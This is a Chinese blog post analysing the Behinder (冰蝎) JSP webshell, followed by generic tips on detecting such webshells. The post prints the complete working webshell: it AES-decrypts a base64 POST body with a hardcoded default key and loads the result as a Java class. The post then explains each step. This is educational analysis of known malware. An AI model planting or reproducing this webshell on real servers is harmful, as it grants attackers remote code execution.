[JAVA安全webshell]冰蝎jsp木马分析


前言

只是分享一下对冰蝎webshell分析的一个学习过程,冰蝎webshell使用了加载字节码的方式执行恶意代码。


正文

首先打开webshell1
这么一行实在不好看,先把他分行吧。

分完行之后,就很清晰明了了。
在这里插入图片描述

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}%>
<%if (request.getMethod().equals("POST"))
{
    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

导入了三个依赖,一个是标准库,两个估计用于加密。

然后定义了一个类U,继承自ClassLoader,盲猜是用加载字节码的方式来执行命令,后面实现了g公有函数,函数里调用了defineClass(这可是加载恶意类的关键)

接下来就是主函数的部分。首先判断请求方式是否为POST(它希望是)。定义了一个字符串k,是连接的密钥,注释中有详细说明。

接下来用putValue往session中存入一个键为u,值为密钥的键值对。也就是把密钥存入session的意思(putValue应该和setAttribute功能差不多,百度了一下,发现putValue从servlet版本上被setAttribute代替了)。

接着实例化了一个Cipher类。

javax.crypto.Cipher类是从jdk1.4就开始引入,所属jdk拓展包Java Cryptographic Extension(JCE)框架,该框架主要用于加密解密和密码功能

从它传入的参数得知,c是一个用于AES加密的工具。

在这里插入图片描述

(刚开始想跟进去分析Cipher类的代码,但一想,实在没必要,这属于此类的应用场景,那只需要去百度怎么用就好了。。。。给自己无语住了)

接下来执行算法的初始化,c.init(),使用密钥和一组算法参数初始化此密码算法。看一下官方文档,这些api。

在这里插入图片描述

opmode是常量。

在这里插入图片描述

看回源码这一行。

c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

很明显,第一个参数,指定了密码的模式,第二个参数就是一个KEY类的实例,KEY类也很单纯,抛去各种方法,函数,也就是两个变量,一个是密钥,一个是算法名。

在这里插入图片描述

模式2是什么,虽然能猜到受控端肯定是解密模式,但是还是在里面看了一下。模式为decryption,解密。

在这里插入图片描述

最后一行才是主要部分。

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

嵌套了不少层,从里往外看。首先读取了post包的body部分的首行。

request.getReader().readLine()

然后,使用BASE64解码该行。

new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())

然后调用上面所说的密码工具对其进行AES解密(解密模式在init初始化时由2决定)。

c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))

实例化了一个U类,在构造函数中取得了一个ClassLoader作为父类,来给U调用父类的构造方法。

new U(this.getClass().getClassLoader())

在这里插入图片描述

然后调用它的g方法来执行defineClass,也就是加载字节码,参数是上面解密后的内容。然后newInstance实例化(define不会执行任何初始化代码,包括static和constructor)

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()

到这里就结束了。发送过去的payload形式应当是恶意类的字节码,并且经过AES加密之后再base64编码。


最后

大佬们,请多多留言指正和指导,谢谢大佬们啦。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
识别冰蝎冰蝎RAT)Webshell 文件可以是一项复杂的任务,因为这种 Webshell 文件通常会采用各种隐蔽和加密技术来逃避检测。以下是一些常见的方法和指南,可用于帮助识别冰蝎 Webshell 文件: 1. 文件名和路径:冰蝎 Webshell 文件通常会使用伪装性强的文件名和路径,以掩盖其真实用途。一些常见的文件名可能包括类似于 "index.php.bak" 或 "config.php.bak" 的后缀。 2. 文件内容:冰蝎 Webshell 文件的内容通常会包含加密、编码或混淆的代码。这些代码可能会使用变量替换、字符串拼接等技术来隐藏其真实功能。您可以检查文件内容中是否存在可疑的、与正常网页文件不符合的代码段。 3. HTTP 请求特征:冰蝎 Webshell 文件通常通过 HTTP 协议与远程控制服务器通信。您可以检查文件中是否存在与远程控制服务器通信相关的特征,如特定的 URL、POST 或 GET 请求等。 4. 常见指纹:冰蝎 Webshell 是一种常见的 Webshell 类型,有许多安全工具和脚本可以帮助您识别这种类型的 Webshell。例如,一些Webshell扫描器可以通过检查文件的特定特征或指纹来识别冰蝎 Webshell 文件。 5. 安全工具:使用安全工具进行扫描和检测,如安全防护软件、Web应用程序防火墙(WAF)等。这些工具可以帮助您自动检测和识别冰蝎 Webshell 文件。 除了上述方法,还有许多其他技术和工具可用于识别冰蝎 Webshell 文件。然而,鉴于冰蝎 Webshell 的变种和不断演变,没有一种方法可以完全保证识别所有的冰蝎 Webshell。因此,如果您怀疑系统中存在冰蝎 Webshell 文件,最好寻求专业的安全专家或安全团队的帮助来进行详细的分析和处理。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值